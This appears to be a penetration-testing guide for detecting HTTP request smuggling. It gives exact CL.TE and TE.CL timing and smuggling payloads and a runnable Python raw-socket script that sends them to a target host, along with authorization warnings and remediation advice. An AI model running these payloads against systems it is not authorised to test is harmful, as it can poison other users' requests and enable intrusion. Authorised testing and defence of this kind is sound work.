http-request-smuggling

Contents

• Scope & authorization
• Why raw sockets
• Methodology (timing probes then differential confirmation)
• Payloads (CL.TE and TE.CL, exact bytes)
• Runnable snippet
• Output

Scope & authorization

Request smuggling is an ACTIVE, potentially disruptive check. A successful desync poisons the shared front-end-to-back-end connection: the smuggled prefix can attach to the next request on that socket, which in a real deployment may belong to another user. Run this only against hosts you own or are contractually engaged to test, and prefer a low-traffic window. The timing probes (Steps 2-3) are the safest first pass because they never leave a dangling prefix; the differential confirmations (Steps 4-5) do smuggle a real prefix and should follow only once timing suggests a desync.

The vulnerability exists when a request traverses two servers (CDN/load-balancer/reverse-proxy front-end, then an origin back-end) that disagree on where one request ends and the next begins. That disagreement comes from sending both a Content-Length (CL) and a Transfer-Encoding: chunked (TE) header: if the front-end honors one and the back-end the other, the leftover bytes are "smuggled." A single server with no proxy in front cannot desync, so a negative result on a direct-to-origin host is expected, not a clean bill.

Everything below sends bytes on a raw socket - you cannot craft these requests with curl, because clients and libraries normalize the conflicting headers and fix the framing. Send the exact bytes, including CRLF line endings.

Why raw sockets

• The two framing headers (Content-Length and Transfer-Encoding) must both be present and must reach the server unmodified. HTTP libraries strip or reconcile them.
• Line endings must be real CRLF (\r\n). Author the payload with plain \n for readability, then convert every \n to \r\n before sending - matching the source templates exactly.
• Detection is per-connection and stateful: you open a fresh TLS socket, send one crafted request, read the response, and compare across two identical sends. The desync shows up on the second request.

Methodology (run in order; each step is a check with a done/result state)

1. Confirm a proxy chain exists. Look for Via, X-Cache, Server, X-Served-By, or CDN fingerprints in a normal curl -I. A fronted host (Cloudflare/Akamai/Fastly/ALB/nginx) is the interesting case. Note the target and confirm port 443.
2. CL.TE timing probe. Send a request the front-end frames by Content-Length and the back-end by Transfer-Encoding, arranged so the back-end waits for a chunk that never completes. A response delay near the socket timeout indicates the back-end is stuck reading chunked data - i.e. CL.TE.
3. TE.CL timing probe. Mirror image: front-end frames by TE and finishes early on the 0 chunk, back-end frames by CL and waits for bytes that never arrive. A delay indicates TE.CL. (Send these against / with a method the app accepts; a normal fast baseline request first tells you what "no delay" looks like.)
4. CL.TE differential confirmation. Send the CL.TE smuggle payload below twice on two fresh connections. The front-end (CL) forwards the whole body; the back-end (TE) stops at the 0 chunk, leaving GET /404 ... buffered as the prefix of the next request. Report a finding when the SECOND response's status line is 404 Not Found while the FIRST is not - the smuggled prefix rewrote the follow-up request's path.
5. TE.CL differential confirmation. Send the TE.CL smuggle payload below twice. The front-end (TE) reads the 5c-sized chunk and terminates on 0; the back-end (CL: 4) consumes only 5c\r\n and leaves the GPOST / HTTP/1.1 ... block buffered as the next request's prefix. Report a finding when the SECOND response's status line is 403 Forbidden while the FIRST is not - the smuggled invalid method poisoned the follow-up.
6. Attribute and stop. As soon as one variant confirms, record which one (CL.TE vs TE.CL) and the exact payload. Do not keep smuggling; each confirmed send may have poisoned one real connection. Re-run once to verify reproducibility, then report.

Payloads (exact bytes; author with \n, send as \r\n)

CL.TE timing probe (Step 2) - back-end blocks waiting for the next chunk:

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL timing probe (Step 3) - back-end blocks waiting for Content-Length bytes past the 0 chunk:

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X

CL.TE differential smuggle (Step 4) - Content-Length: 35 spans the whole body; the 0 chunk ends the request for a TE back-end, leaving the GET /404 prefix:

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

TE.CL differential smuggle (Step 5) - Content-length: 4 stops the CL back-end after 5c\r\n, leaving the GPOST block; the 5c (92-byte) chunk keeps a TE front-end happy through to the 0 terminator:

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Runnable snippet

Self-contained; no third-party libraries. Set TARGET, run once per variant. It opens a fresh TLS socket per send, normalizes line endings to CRLF, sends twice, and applies the differential test on the response status line.

import socket, ssl, time

TARGET = "TARGET"
PORT = 443

def send(raw, timeout=10):
    payload = raw.replace("\r\n", "\n").replace("\n", "\r\n").encode("utf-8")
    res, elapsed = None, None
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        t0 = time.time()
        s.connect((TARGET, PORT))
        s = ssl.create_default_context().wrap_socket(s, server_hostname=TARGET)
        s.sendall(payload)
        res = s.recv(4096).decode("utf-8", errors="backslashreplace")
        elapsed = time.time() - t0
    except (ConnectionResetError, ssl.SSLCertVerificationError,
            socket.gaierror, socket.timeout):
        elapsed = time.time() - t0
    return res, elapsed

CLTE_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

1
A
X"""

TECL_TIMING = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 6

0

X"""

CLTE_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X"""

TECL_SMUGGLE = f"""POST / HTTP/1.1
Host: {TARGET}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

"""

def status_line(r):
    return r.split("\r\n")[0] if r else ""

def timing_probe(name, payload):
    _, e = send(payload, timeout=8)
    delayed = e is not None and e >= 7.5
    print(f"[{name}] elapsed={e:.1f}s -> {'DELAY (desync likely)' if delayed else 'no delay'}")

def differential(name, payload, indicator):
    r1, _ = send(payload)
    r2, _ = send(payload)
    if r1 is None or r2 is None:
        print(f"[{name}] no response / reset - inconclusive")
        return
    hit = indicator in status_line(r2) and indicator not in status_line(r1)
    print(f"[{name}] r1='{status_line(r1)}' r2='{status_line(r2)}' -> "
          f"{'CONFIRMED' if hit else 'not confirmed'}")

timing_probe("CL.TE timing", CLTE_TIMING)
timing_probe("TE.CL timing", TECL_TIMING)
differential("CL.TE", CLTE_SMUGGLE, "404 Not Found")
differential("TE.CL", TECL_SMUGGLE, "403 Forbidden")

The differential indicators are variant-specific and come straight from the templates: CL.TE succeeds when the smuggled GET /404 surfaces as 404 Not Found on the second response only; TE.CL succeeds when the smuggled GPOST surfaces as 403 Forbidden on the second response only. A None/reset or a timeout on the differential test is inconclusive, not clean - many back-ends drop the poisoned connection instead of replying.

Output

Finish with a check / done? / result ledger over the six steps, then a one-line verdict:

• Clean - proxy chain present, both timing probes returned promptly, and neither differential confirmation reproduced its indicator across two sends. State that the front-end and back-end agree on request framing.
• Vulnerable - name the confirmed variant (CL.TE or TE.CL), the step and indicator that proved it (404 Not Found / 403 Forbidden on the second response), and the exact payload. Fix: make the front-end and back-end reconcile framing identically - normalize or reject any request carrying both Content-Length and Transfer-Encoding, prefer HTTP/2 end-to-end (which frames by length, not delimiters), and disable front-end connection reuse to the back-end so a smuggled prefix cannot attach to another request.

Report each step's true status - done, inconclusive, or not-run - so coverage is honest; a reset or timeout is never "clean."